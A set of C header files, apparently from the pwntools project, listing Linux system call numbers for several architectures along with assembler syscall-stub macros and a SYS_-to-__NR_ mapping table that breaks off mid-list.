__NR_ppoll 271 #define __NR_unshare 272 #define __NR_set_robust_list 273 #define __NR_get_robust_list 274 #define __NR_splice 275 #define __NR_tee 276 #define __NR_sync_file_range 277 #define __NR_vmsplice 278 #define __NR_move_pages 279 #define __NR_utimensat 280 #define __IGNORE_getcpu /* implemented as a vsyscall */ #define __NR_epoll_pwait 281 #define __NR_signalfd 282 #define __NR_timerfd 283 #define __NR_eventfd 284 #define __NR_fallocate 285 #define __NR_timerfd_settime 286 #define __NR_timerfd_gettime 287 #define __NR_accept4 288 #define __NR_signalfd4 289 #define __NR_eventfd2 290 #define __NR_epoll_create1 291 #define __NR_dup3 292 #define __NR_pipe2 293 #define __NR_inotify_init1 294 #define __NR_preadv 295 #define __NR_pwritev 296 #define __NR_rt_tgsigqueueinfo 297 #define __NR_perf_event_open 298 #define __NR_recvmmsg 299 #define __NR_fanotify_init 300 #define __NR_fanotify_mark 301 #define __NR_prlimit64 302 #define __NR_name_to_handle_at 303 #define __NR_open_by_handle_at 304 #define __NR_clock_adjtime 305 #define __NR_syncfs 306 #define __NR_sendmmsg 307 #define __NR_setns 308 #define __NR_getcpu 309 #define __NR_process_vm_readv 310 #define __NR_process_vm_writev 311 #define __NR_kcmp 312 #define __NR_finit_module 313 #define __NR_sched_setattr 314 #define __NR_sched_getattr 315 #define __NR_renameat2 316 #define __NR_seccomp 317 #define __NR_getrandom 318 #define __NR_memfd_create 319 #define __NR_kexec_file_load 320 #define __NR_bpf 321 #define __NR_execveat 322 #define __NR_userfaultfd 323 #define __NR_membarrier 324 #define __NR_mlock2 325 #define __NR_copy_file_range 326 #define __NR_preadv2 327 #define __NR_pwritev2 328 #define __NR_pkey_mprotect 329 #define __NR_pkey_alloc 330 #define __NR_pkey_free 331 #define __NR_statx 332 #define __NR_io_pgetevents 333 #define __NR_rseq 334 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #if defined(__PIE__) #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ .hidden wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ .hidden sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT; \ .endif #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ .hidden sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT; \ .endif #elif defined(__PIC__) #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT; \ .endif #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit@PLT; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall@PLT; \ .endif #else #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall; \ .endif #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .ifge __NR_##name-256 ; \ mov $__NR_##name,%ax; \ jmp __unified_syscall_16bit; \ .else ; \ mov $__NR_##name,%al; \ jmp __unified_syscall; \ .endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/x86_64/syscalls32.h000066400000000000000000000246151507273764500314070ustar00rootroot00000000000000#ifndef _ASM_X86_UNISTD_32_H #define _ASM_X86_UNISTD_32_H /* Created from /usr/include/asm/unistd_32.h with :%s/__NR_/SYS32_/ /* * This file contains the system call numbers. */ #define SYS32_restart_syscall 0 #define SYS32_exit 1 #define SYS32_fork 2 #define SYS32_read 3 #define SYS32_write 4 #define SYS32_open 5 #define SYS32_close 6 #define SYS32_waitpid 7 #define SYS32_creat 8 #define SYS32_link 9 #define SYS32_unlink 10 #define SYS32_execve 11 #define SYS32_chdir 12 #define SYS32_time 13 #define SYS32_mknod 14 #define SYS32_chmod 15 #define SYS32_lchown 16 #define SYS32_break 17 #define SYS32_oldstat 18 #define SYS32_lseek 19 #define SYS32_getpid 20 #define SYS32_mount 21 #define SYS32_umount 22 #define SYS32_setuid 23 #define SYS32_getuid 24 #define SYS32_stime 25 #define SYS32_ptrace 26 #define SYS32_alarm 27 #define SYS32_oldfstat 28 #define SYS32_pause 29 #define SYS32_utime 30 #define SYS32_stty 31 #define SYS32_gtty 32 #define SYS32_access 33 #define SYS32_nice 34 #define SYS32_ftime 35 #define SYS32_sync 36 #define SYS32_kill 37 #define SYS32_rename 38 #define SYS32_mkdir 39 #define SYS32_rmdir 40 #define SYS32_dup 41 #define SYS32_pipe 42 #define SYS32_times 43 #define SYS32_prof 44 #define SYS32_brk 45 #define SYS32_setgid 46 #define SYS32_getgid 47 #define SYS32_signal 48 #define SYS32_geteuid 49 #define SYS32_getegid 50 #define SYS32_acct 51 #define SYS32_umount2 52 #define SYS32_lock 53 #define SYS32_ioctl 54 #define SYS32_fcntl 55 #define SYS32_mpx 56 #define SYS32_setpgid 57 #define SYS32_ulimit 58 #define SYS32_oldolduname 59 #define SYS32_umask 60 #define SYS32_chroot 61 #define SYS32_ustat 62 #define SYS32_dup2 63 #define SYS32_getppid 64 #define SYS32_getpgrp 65 #define SYS32_setsid 66 #define SYS32_sigaction 67 #define SYS32_sgetmask 68 #define SYS32_ssetmask 69 #define SYS32_setreuid 70 #define SYS32_setregid 71 #define SYS32_sigsuspend 72 #define SYS32_sigpending 73 #define SYS32_sethostname 74 #define SYS32_setrlimit 75 #define SYS32_getrlimit 76 /* Back compatible 2Gig limited rlimit */ #define SYS32_getrusage 77 #define SYS32_gettimeofday 78 #define SYS32_settimeofday 79 #define SYS32_getgroups 80 #define SYS32_setgroups 81 #define SYS32_select 82 #define SYS32_symlink 83 #define SYS32_oldlstat 84 #define SYS32_readlink 85 #define SYS32_uselib 86 #define SYS32_swapon 87 #define SYS32_reboot 88 #define SYS32_readdir 89 #define SYS32_mmap 90 #define SYS32_munmap 91 #define SYS32_truncate 92 #define SYS32_ftruncate 93 #define SYS32_fchmod 94 #define SYS32_fchown 95 #define SYS32_getpriority 96 #define SYS32_setpriority 97 #define SYS32_profil 98 #define SYS32_statfs 99 #define SYS32_fstatfs 100 #define SYS32_ioperm 101 #define SYS32_socketcall 102 #define SYS32_syslog 103 #define SYS32_setitimer 104 #define SYS32_getitimer 105 #define SYS32_stat 106 #define SYS32_lstat 107 #define SYS32_fstat 108 #define SYS32_olduname 109 #define SYS32_iopl 110 #define SYS32_vhangup 111 #define SYS32_idle 112 #define SYS32_vm86old 113 #define SYS32_wait4 114 #define SYS32_swapoff 115 #define SYS32_sysinfo 116 #define SYS32_ipc 117 #define SYS32_fsync 118 #define SYS32_sigreturn 119 #define SYS32_clone 120 #define SYS32_setdomainname 121 #define SYS32_uname 122 #define SYS32_modify_ldt 123 #define SYS32_adjtimex 124 #define SYS32_mprotect 125 #define SYS32_sigprocmask 126 #define SYS32_create_module 127 #define SYS32_init_module 128 #define SYS32_delete_module 129 #define SYS32_get_kernel_syms 130 #define SYS32_quotactl 131 #define SYS32_getpgid 132 #define SYS32_fchdir 133 #define SYS32_bdflush 134 #define SYS32_sysfs 135 #define SYS32_personality 136 #define SYS32_afs_syscall 137 /* Syscall for Andrew File System */ #define SYS32_setfsuid 138 #define SYS32_setfsgid 139 #define SYS32__llseek 140 #define SYS32_getdents 141 #define SYS32__newselect 142 #define SYS32_flock 143 #define SYS32_msync 144 #define SYS32_readv 145 #define SYS32_writev 146 #define SYS32_getsid 147 #define SYS32_fdatasync 148 #define SYS32__sysctl 149 #define SYS32_mlock 150 #define SYS32_munlock 151 #define SYS32_mlockall 152 #define SYS32_munlockall 153 #define SYS32_sched_setparam 154 #define SYS32_sched_getparam 155 #define SYS32_sched_setscheduler 156 #define SYS32_sched_getscheduler 157 #define SYS32_sched_yield 158 #define SYS32_sched_get_priority_max 159 #define SYS32_sched_get_priority_min 160 #define SYS32_sched_rr_get_interval 161 #define SYS32_nanosleep 162 #define SYS32_mremap 163 #define SYS32_setresuid 164 #define SYS32_getresuid 165 #define SYS32_vm86 166 #define SYS32_query_module 167 #define SYS32_poll 168 #define SYS32_nfsservctl 169 #define SYS32_setresgid 170 #define SYS32_getresgid 171 #define SYS32_prctl 172 #define SYS32_rt_sigreturn 173 #define SYS32_rt_sigaction 174 #define SYS32_rt_sigprocmask 175 #define SYS32_rt_sigpending 176 #define SYS32_rt_sigtimedwait 177 #define SYS32_rt_sigqueueinfo 178 #define SYS32_rt_sigsuspend 179 #define SYS32_pread64 180 #define SYS32_pwrite64 181 #define SYS32_chown 182 #define SYS32_getcwd 183 #define SYS32_capget 184 #define SYS32_capset 185 #define SYS32_sigaltstack 186 #define SYS32_sendfile 187 #define SYS32_getpmsg 188 /* some people actually want streams */ #define SYS32_putpmsg 189 /* some people actually want streams */ #define SYS32_vfork 190 #define SYS32_ugetrlimit 191 /* SuS compliant getrlimit */ #define SYS32_mmap2 192 #define SYS32_truncate64 193 #define SYS32_ftruncate64 194 #define SYS32_stat64 195 #define SYS32_lstat64 196 #define SYS32_fstat64 197 #define SYS32_lchown32 198 #define SYS32_getuid32 199 #define SYS32_getgid32 200 #define SYS32_geteuid32 201 #define SYS32_getegid32 202 #define SYS32_setreuid32 203 #define SYS32_setregid32 204 #define SYS32_getgroups32 205 #define SYS32_setgroups32 206 #define SYS32_fchown32 207 #define SYS32_setresuid32 208 #define SYS32_getresuid32 209 #define SYS32_setresgid32 210 #define SYS32_getresgid32 211 #define SYS32_chown32 212 #define SYS32_setuid32 213 #define SYS32_setgid32 214 #define SYS32_setfsuid32 215 #define SYS32_setfsgid32 216 #define SYS32_pivot_root 217 #define SYS32_mincore 218 #define SYS32_madvise 219 #define SYS32_madvise1 219 /* delete when C lib stub is removed */ #define SYS32_getdents64 220 #define SYS32_fcntl64 221 /* 223 is unused */ #define SYS32_gettid 224 #define SYS32_readahead 225 #define SYS32_setxattr 226 #define SYS32_lsetxattr 227 #define SYS32_fsetxattr 228 #define SYS32_getxattr 229 #define SYS32_lgetxattr 230 #define SYS32_fgetxattr 231 #define SYS32_listxattr 232 #define SYS32_llistxattr 233 #define SYS32_flistxattr 234 #define SYS32_removexattr 235 #define SYS32_lremovexattr 236 #define SYS32_fremovexattr 237 #define SYS32_tkill 238 #define SYS32_sendfile64 239 #define SYS32_futex 240 #define SYS32_sched_setaffinity 241 #define SYS32_sched_getaffinity 242 #define SYS32_set_thread_area 243 #define SYS32_get_thread_area 244 #define SYS32_io_setup 245 #define SYS32_io_destroy 246 #define SYS32_io_getevents 247 #define SYS32_io_submit 248 #define SYS32_io_cancel 249 #define SYS32_fadvise64 250 /* 251 is available for reuse (was briefly sys_set_zone_reclaim) */ #define SYS32_exit_group 252 #define SYS32_lookup_dcookie 253 #define SYS32_epoll_create 254 #define SYS32_epoll_ctl 255 #define SYS32_epoll_wait 256 #define SYS32_remap_file_pages 257 #define SYS32_set_tid_address 258 #define SYS32_timer_create 259 #define SYS32_timer_settime (__NR_timer_create+1) #define SYS32_timer_gettime (__NR_timer_create+2) #define SYS32_timer_getoverrun (__NR_timer_create+3) #define SYS32_timer_delete (__NR_timer_create+4) #define SYS32_clock_settime (__NR_timer_create+5) #define SYS32_clock_gettime (__NR_timer_create+6) #define SYS32_clock_getres (__NR_timer_create+7) #define SYS32_clock_nanosleep (__NR_timer_create+8) #define SYS32_statfs64 268 #define SYS32_fstatfs64 269 #define SYS32_tgkill 270 #define SYS32_utimes 271 #define SYS32_fadvise64_64 272 #define SYS32_vserver 273 #define SYS32_mbind 274 #define SYS32_get_mempolicy 275 #define SYS32_set_mempolicy 276 #define SYS32_mq_open 277 #define SYS32_mq_unlink (__NR_mq_open+1) #define SYS32_mq_timedsend (__NR_mq_open+2) #define SYS32_mq_timedreceive (__NR_mq_open+3) #define SYS32_mq_notify (__NR_mq_open+4) #define SYS32_mq_getsetattr (__NR_mq_open+5) #define SYS32_kexec_load 283 #define SYS32_waitid 284 /* #define SYS32_sys_setaltroot 285 */ #define SYS32_add_key 286 #define SYS32_request_key 287 #define SYS32_keyctl 288 #define SYS32_ioprio_set 289 #define SYS32_ioprio_get 290 #define SYS32_inotify_init 291 #define SYS32_inotify_add_watch 292 #define SYS32_inotify_rm_watch 293 #define SYS32_migrate_pages 294 #define SYS32_openat 295 #define SYS32_mkdirat 296 #define SYS32_mknodat 297 #define SYS32_fchownat 298 #define SYS32_futimesat 299 #define SYS32_fstatat64 300 #define SYS32_unlinkat 301 #define SYS32_renameat 302 #define SYS32_linkat 303 #define SYS32_symlinkat 304 #define SYS32_readlinkat 305 #define SYS32_fchmodat 306 #define SYS32_faccessat 307 #define SYS32_pselect6 308 #define SYS32_ppoll 309 #define SYS32_unshare 310 #define SYS32_set_robust_list 311 #define SYS32_get_robust_list 312 #define SYS32_splice 313 #define SYS32_sync_file_range 314 #define SYS32_tee 315 #define SYS32_vmsplice 316 #define SYS32_move_pages 317 #define SYS32_getcpu 318 #define SYS32_epoll_pwait 319 #define SYS32_utimensat 320 #define SYS32_signalfd 321 #define SYS32_timerfd_create 322 #define SYS32_eventfd 323 #define SYS32_fallocate 324 #define SYS32_timerfd_settime 325 #define SYS32_timerfd_gettime 326 #define SYS32_signalfd4 327 #define SYS32_eventfd2 328 #define SYS32_epoll_create1 329 #define SYS32_dup3 330 #define SYS32_pipe2 331 #define SYS32_inotify_init1 332 #define SYS32_preadv 333 #define SYS32_pwritev 334 #define SYS32_rt_tgsigqueueinfo 335 #define SYS32_perf_event_open 336 #define SYS32_recvmmsg 337 #define SYS32_fanotify_init 338 #define SYS32_fanotify_mark 339 #define SYS32_prlimit64 340 #define SYS32_name_to_handle_at 341 #define SYS32_open_by_handle_at 342 #define SYS32_clock_adjtime 343 #define SYS32_syncfs 344 #define SYS32_sendmmsg 345 #define SYS32_setns 346 #define SYS32_process_vm_readv 347 #define SYS32_process_vm_writev 348 #endif /* _ASM_X86_UNISTD_32_H */ Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/i386.h000066400000000000000000000014771507273764500262140ustar00rootroot00000000000000#define __i386__ #include #include #include #define SYS_socketcall_socket SYS_SOCKET #define SYS_socketcall_bind SYS_BIND #define SYS_socketcall_connect SYS_CONNECT #define SYS_socketcall_listen SYS_LISTEN #define SYS_socketcall_accept SYS_ACCEPT #define SYS_socketcall_getsockname SYS_GETSOCKNAME #define SYS_socketcall_getpeername SYS_GETPEERNAME #define SYS_socketcall_socketpair SYS_SOCKETPAIR #define SYS_socketcall_send SYS_SEND #define SYS_socketcall_recv SYS_RECV #define SYS_socketcall_sendto SYS_SENDTO #define SYS_socketcall_recvfrom SYS_RECVFROM #define SYS_socketcall_shutdown SYS_SHUTDOWN #define SYS_socketcall_setsockopt SYS_SETSOCKOPT #define SYS_socketcall_getsockopt SYS_GETSOCKOPT #define SYS_socketcall_sendmsg SYS_SENDMSG #define SYS_socketcall_recvmsg SYS_RECVMSG Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/ia64.h000066400000000000000000000001001507273764500262440ustar00rootroot00000000000000#define __ia64__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/mips.h000066400000000000000000000001001507273764500264510ustar00rootroot00000000000000#define __mips__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/powerpc.h000066400000000000000000000010131507273764500271640ustar00rootroot00000000000000#define __ppc__ #include #include #define r0 0 #define r1 1 #define r2 2 #define r3 3 #define r4 4 #define r5 5 #define r6 6 #define r7 7 #define r8 8 #define r9 9 #define r10 10 #define r11 11 #define r12 12 #define r13 13 #define r14 14 #define r15 15 #define r16 16 #define r17 17 #define r18 18 #define r19 19 #define r20 20 #define r21 21 #define r22 22 #define r23 23 #define r24 24 #define r25 25 #define r26 26 #define r27 27 #define r28 28 #define r29 29 #define r30 30 #define r31 31 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/powerpc64.h000066400000000000000000000010171507273764500273420ustar00rootroot00000000000000#define __ppc64__ #include #include #define r0 0 #define r1 1 #define r2 2 #define r3 3 #define r4 4 #define r5 5 #define r6 6 #define r7 7 #define r8 8 #define r9 9 #define r10 10 #define r11 11 #define r12 12 #define r13 13 #define r14 14 #define r15 15 #define r16 16 #define r17 17 #define r18 18 #define r19 19 #define r20 20 #define r21 21 #define r22 22 #define r23 23 #define r24 24 #define r25 25 #define r26 26 #define r27 27 #define r28 28 #define r29 29 #define r30 30 #define r31 31 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/riscv64.h000066400000000000000000000002221507273764500270060ustar00rootroot00000000000000// https://git.musl-libc.org/cgit/musl/plain/arch/riscv64/bits/syscall.h.in #define __riscv64__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/s390.h000066400000000000000000000001001507273764500261770ustar00rootroot00000000000000#define __s390__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/s390x.h000066400000000000000000000001021507273764500263710ustar00rootroot00000000000000#define __s390x__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/sparc.h000066400000000000000000000001021507273764500266130ustar00rootroot00000000000000#define __sparc__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/sparc64.h000066400000000000000000000001061507273764500267710ustar00rootroot00000000000000#define __sparc64__ #include #include Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/syscall_map.h000066400000000000000000000607741507273764500300370ustar00rootroot00000000000000#define SYS_ __NR_ #define SYS_accept __NR_accept #define SYS_accept4 __NR_accept4 #define SYS_access __NR_access #define SYS_acct __NR_acct #define SYS_acl_get __NR_acl_get #define SYS_acl_set __NR_acl_set #define SYS_add_key __NR_add_key #define SYS_adjtimex __NR_adjtimex #define SYS_afs_syscall __NR_afs_syscall #define SYS_alarm __NR_alarm #define SYS_alloc_hugepages __NR_alloc_hugepages #define SYS_aplib __NR_aplib #define SYS_arch_prctl __NR_arch_prctl #define SYS_arch_specific_syscall __NR_arch_specific_syscall #define SYS_arm_fadvise64_64 __NR_arm_fadvise64_64 #define SYS_arm_sync_file_range __NR_arm_sync_file_range #define SYS_attrctl __NR_attrctl #define SYS_bdflush __NR_bdflush #define SYS_bind __NR_bind #define SYS_bpf __NR_bpf #define SYS_break __NR_break #define SYS_brk __NR_brk #define SYS_cachectl __NR_cachectl #define SYS_cacheflush __NR_cacheflush #define SYS_capget __NR_capget #define SYS_capset __NR_capset #define SYS_chdir __NR_chdir #define SYS_chmod __NR_chmod #define SYS_chown __NR_chown #define SYS_chown32 __NR_chown32 #define SYS_chroot __NR_chroot #define SYS_clock_adjtime __NR_clock_adjtime #define SYS_clock_adjtime64 __NR_clock_adjtime64 #define SYS_clock_getres __NR_clock_getres #define SYS_clock_getres_time64 __NR_clock_getres_time64 #define SYS_clock_gettime __NR_clock_gettime #define SYS_clock_gettime64 __NR_clock_gettime64 #define SYS_clock_nanosleep __NR_clock_nanosleep #define SYS_clock_nanosleep_time64 __NR_clock_nanosleep_time64 #define SYS_clock_settime __NR_clock_settime #define SYS_clock_settime64 __NR_clock_settime64 #define SYS_clone __NR_clone #define SYS_clone2 __NR_clone2 #define SYS_clone3 __NR_clone3 #define SYS_close __NR_close #define SYS_close_range __NR_close_range #define SYS_connect __NR_connect #define SYS_copy_file_range __NR_copy_file_range #define SYS_creat __NR_creat #define SYS_create_module __NR_create_module #define SYS_delete_module __NR_delete_module #define SYS_dipc __NR_dipc #define SYS_dup __NR_dup #define SYS_dup2 __NR_dup2 #define SYS_dup3 __NR_dup3 #define SYS_epoll_create __NR_epoll_create #define SYS_epoll_create1 __NR_epoll_create1 #define SYS_epoll_ctl __NR_epoll_ctl #define SYS_epoll_ctl_old __NR_epoll_ctl_old #define SYS_epoll_pwait __NR_epoll_pwait #define SYS_epoll_pwait2 __NR_epoll_pwait2 #define SYS_epoll_wait __NR_epoll_wait #define SYS_epoll_wait_old __NR_epoll_wait_old #define SYS_eventfd __NR_eventfd #define SYS_eventfd2 __NR_eventfd2 #define SYS_execv __NR_execv #define SYS_execve __NR_execve #define SYS_execveat __NR_execveat #define SYS_exec_with_loader __NR_exec_with_loader #define SYS_exit __NR_exit #define SYS_exit_group __NR_exit_group #define SYS_faccessat __NR_faccessat #define SYS_faccessat2 __NR_faccessat2 #define SYS_fadvise64 __NR_fadvise64 #define SYS_fadvise64_64 __NR_fadvise64_64 #define SYS_fallocate __NR_fallocate #define SYS_fanotify_init __NR_fanotify_init #define SYS_fanotify_mark __NR_fanotify_mark #define SYS_fchdir __NR_fchdir #define SYS_fchmod __NR_fchmod #define SYS_fchmodat __NR_fchmodat #define SYS_fchown __NR_fchown #define SYS_fchown32 __NR_fchown32 #define SYS_fchownat __NR_fchownat #define SYS_fcntl __NR_fcntl #define SYS_fcntl64 __NR_fcntl64 #define SYS_fdatasync __NR_fdatasync #define SYS_fgetxattr __NR_fgetxattr #define SYS_finit_module __NR_finit_module #define SYS_flistxattr __NR_flistxattr #define SYS_flock __NR_flock #define SYS_fork __NR_fork #define SYS_free_hugepages __NR_free_hugepages #define SYS_fremovexattr __NR_fremovexattr #define SYS_fsconfig __NR_fsconfig #define SYS_fsetxattr __NR_fsetxattr #define SYS_fsmount __NR_fsmount #define SYS_fsopen __NR_fsopen #define SYS_fspick __NR_fspick #define SYS_fstat __NR_fstat #define SYS_fstat64 __NR_fstat64 #define SYS_fstatat __NR_fstatat #define SYS_fstatat64 __NR_fstatat64 #define SYS_fstatfs __NR_fstatfs #define SYS_fstatfs64 __NR_fstatfs64 #define SYS_fsync __NR_fsync #define SYS_ftime __NR_ftime #define SYS_ftruncate __NR_ftruncate #define SYS_ftruncate64 __NR_ftruncate64 #define SYS_futex __NR_futex #define SYS_futex_time64 __NR_futex_time64 #define SYS_futimesat __NR_futimesat #define SYS_getcpu __NR_getcpu #define SYS_getcwd __NR_getcwd #define SYS_getdents __NR_getdents #define SYS_getdents64 __NR_getdents64 #define SYS_getdirentires __NR_getdirentires #define SYS_getdirentries __NR_getdirentries #define SYS_getdomainname __NR_getdomainname #define SYS_getdtablesize __NR_getdtablesize #define SYS_getegid __NR_getegid #define SYS_getegid32 __NR_getegid32 #define SYS_geteuid __NR_geteuid #define SYS_geteuid32 __NR_geteuid32 #define SYS_getgid __NR_getgid #define SYS_getgid32 __NR_getgid32 #define SYS_getgroups __NR_getgroups #define SYS_getgroups32 __NR_getgroups32 #define SYS_gethostname __NR_gethostname #define SYS_getitimer __NR_getitimer #define SYS_get_kernel_syms __NR_get_kernel_syms #define SYS_get_mempolicy __NR_get_mempolicy #define SYS_getmsg __NR_getmsg #define SYS_getpagesize __NR_getpagesize #define SYS_getpeername __NR_getpeername #define SYS_getpgid __NR_getpgid #define SYS_getpgrp __NR_getpgrp #define SYS_getpid __NR_getpid #define SYS_getpmsg __NR_getpmsg #define SYS_getppid __NR_getppid #define SYS_getpriority __NR_getpriority #define SYS_getrandom __NR_getrandom #define SYS_getresgid __NR_getresgid #define SYS_getresgid32 __NR_getresgid32 #define SYS_getresuid __NR_getresuid #define SYS_getresuid32 __NR_getresuid32 #define SYS_getrlimit __NR_getrlimit #define SYS_get_robust_list __NR_get_robust_list #define SYS_getrusage __NR_getrusage #define SYS_getsid __NR_getsid #define SYS_getsockname __NR_getsockname #define SYS_getsockopt __NR_getsockopt #define SYS_get_thread_area __NR_get_thread_area #define SYS_gettid __NR_gettid #define SYS_gettimeofday __NR_gettimeofday #define SYS_getuid __NR_getuid #define SYS_getuid32 __NR_getuid32 #define SYS_getunwind __NR_getunwind #define SYS_getxattr __NR_getxattr #define SYS_getxgid __NR_getxgid #define SYS_getxpid __NR_getxpid #define SYS_getxuid __NR_getxuid #define SYS_gtty __NR_gtty #define SYS_ia32_arch_prctl __NR_ia32_arch_prctl #define SYS_ia32_io_pgetevents __NR_ia32_io_pgetevents #define SYS_ia32_rseq __NR_ia32_rseq #define SYS_ia32_statx __NR_ia32_statx #define SYS_idle __NR_idle #define SYS_init_module __NR_init_module #define SYS_inotify_add_watch __NR_inotify_add_watch #define SYS_inotify_init __NR_inotify_init #define SYS_inotify_init1 __NR_inotify_init1 #define SYS_inotify_rm_watch __NR_inotify_rm_watch #define SYS_io_cancel __NR_io_cancel #define SYS_ioctl __NR_ioctl #define SYS_io_destroy __NR_io_destroy #define SYS_io_getevents __NR_io_getevents #define SYS_ioperm __NR_ioperm #define SYS_io_pgetevents __NR_io_pgetevents #define SYS_io_pgetevents_time64 __NR_io_pgetevents_time64 #define SYS_iopl __NR_iopl #define SYS_ioprio_get __NR_ioprio_get #define SYS_ioprio_set __NR_ioprio_set #define SYS_io_setup __NR_io_setup #define SYS_io_submit __NR_io_submit #define SYS_io_uring_enter __NR_io_uring_enter #define SYS_io_uring_register __NR_io_uring_register #define SYS_io_uring_setup __NR_io_uring_setup #define SYS_ipc __NR_ipc #define SYS_kcmp __NR_kcmp #define SYS_kern_features __NR_kern_features #define SYS_kexec_file_load __NR_kexec_file_load #define SYS_kexec_load __NR_kexec_load #define SYS_keyctl __NR_keyctl #define SYS_kill __NR_kill #define SYS_landlock_add_rule __NR_landlock_add_rule #define SYS_landlock_create_ruleset __NR_landlock_create_ruleset #define SYS_landlock_restrict_self __NR_landlock_restrict_self #define SYS_lchown __NR_lchown #define SYS_lchown32 __NR_lchown32 #define SYS_lgetxattr __NR_lgetxattr #define SYS_link __NR_link #define SYS_linkat __NR_linkat #define SYS_Linux __NR_Linux #define SYS_Linux_syscalls __NR_Linux_syscalls #define SYS_listen __NR_listen #define SYS_listxattr __NR_listxattr #define SYS_llistxattr __NR_llistxattr #define SYS__llseek __NR__llseek #define SYS_lock __NR_lock #define SYS_lookup_dcookie __NR_lookup_dcookie #define SYS_lremovexattr __NR_lremovexattr #define SYS_lseek __NR_lseek #define SYS_lsetxattr __NR_lsetxattr #define SYS_lstat __NR_lstat #define SYS_lstat64 __NR_lstat64 #define SYS_madvise __NR_madvise #define SYS_madvise1 __NR_madvise1 #define SYS_mbind __NR_mbind #define SYS_membarrier __NR_membarrier #define SYS_memfd_create __NR_memfd_create #define SYS_memory_ordering __NR_memory_ordering #define SYS_migrate_pages __NR_migrate_pages #define SYS_mincore __NR_mincore #define SYS_mkdir __NR_mkdir #define SYS_mkdirat __NR_mkdirat #define SYS_mknod __NR_mknod #define SYS_mknodat __NR_mknodat #define SYS_mlock __NR_mlock #define SYS_mlock2 __NR_mlock2 #define SYS_mlockall __NR_mlockall #define SYS_mmap __NR_mmap #define SYS_mmap2 __NR_mmap2 #define SYS_modify_ldt __NR_modify_ldt #define SYS_mount __NR_mount #define SYS_mount_setattr __NR_mount_setattr #define SYS_move_mount __NR_move_mount #define SYS_move_pages __NR_move_pages #define SYS_mprotect __NR_mprotect #define SYS_mpx __NR_mpx #define SYS_mq_getsetattr __NR_mq_getsetattr #define SYS_mq_notify __NR_mq_notify #define SYS_mq_open __NR_mq_open #define SYS_mq_timedreceive __NR_mq_timedreceive #define SYS_mq_timedreceive_time64 __NR_mq_timedreceive_time64 #define SYS_mq_timedsend __NR_mq_timedsend #define SYS_mq_timedsend_time64 __NR_mq_timedsend_time64 #define SYS_mq_unlink __NR_mq_unlink #define SYS_mremap __NR_mremap #define SYS_msgctl __NR_msgctl #define SYS_msgget __NR_msgget #define SYS_msgrcv __NR_msgrcv #define SYS_msgsnd __NR_msgsnd #define SYS_msync __NR_msync #define SYS_multiplexer __NR_multiplexer #define SYS_munlock __NR_munlock #define SYS_munlockall __NR_munlockall #define SYS_munmap __NR_munmap #define SYS_name_to_handle_at __NR_name_to_handle_at #define SYS_nanosleep __NR_nanosleep #define SYS_newfstatat __NR_newfstatat #define SYS__newselect __NR__newselect #define SYS_nfsservctl __NR_nfsservctl #define SYS_nice __NR_nice #define SYS_ni_syscall __NR_ni_syscall #define SYS_OABI_SYSCALL_BASE __NR_OABI_SYSCALL_BASE #define SYS_old_adjtimex __NR_old_adjtimex #define SYS_oldfstat __NR_oldfstat #define SYS_old_getpagesize __NR_old_getpagesize #define SYS_oldlstat __NR_oldlstat #define SYS_oldolduname __NR_oldolduname #define SYS_oldstat __NR_oldstat #define SYS_oldumount __NR_oldumount #define SYS_olduname __NR_olduname #define SYS_open __NR_open #define SYS_openat __NR_openat #define SYS_openat2 __NR_openat2 #define SYS_open_by_handle_at __NR_open_by_handle_at #define SYS_open_tree __NR_open_tree #define SYS_osf_adjtime __NR_osf_adjtime #define SYS_osf_afs_syscall __NR_osf_afs_syscall #define SYS_osf_alt_plock __NR_osf_alt_plock #define SYS_osf_alt_setsid __NR_osf_alt_setsid #define SYS_osf_alt_sigpending __NR_osf_alt_sigpending #define SYS_osf_asynch_daemon __NR_osf_asynch_daemon #define SYS_osf_audcntl 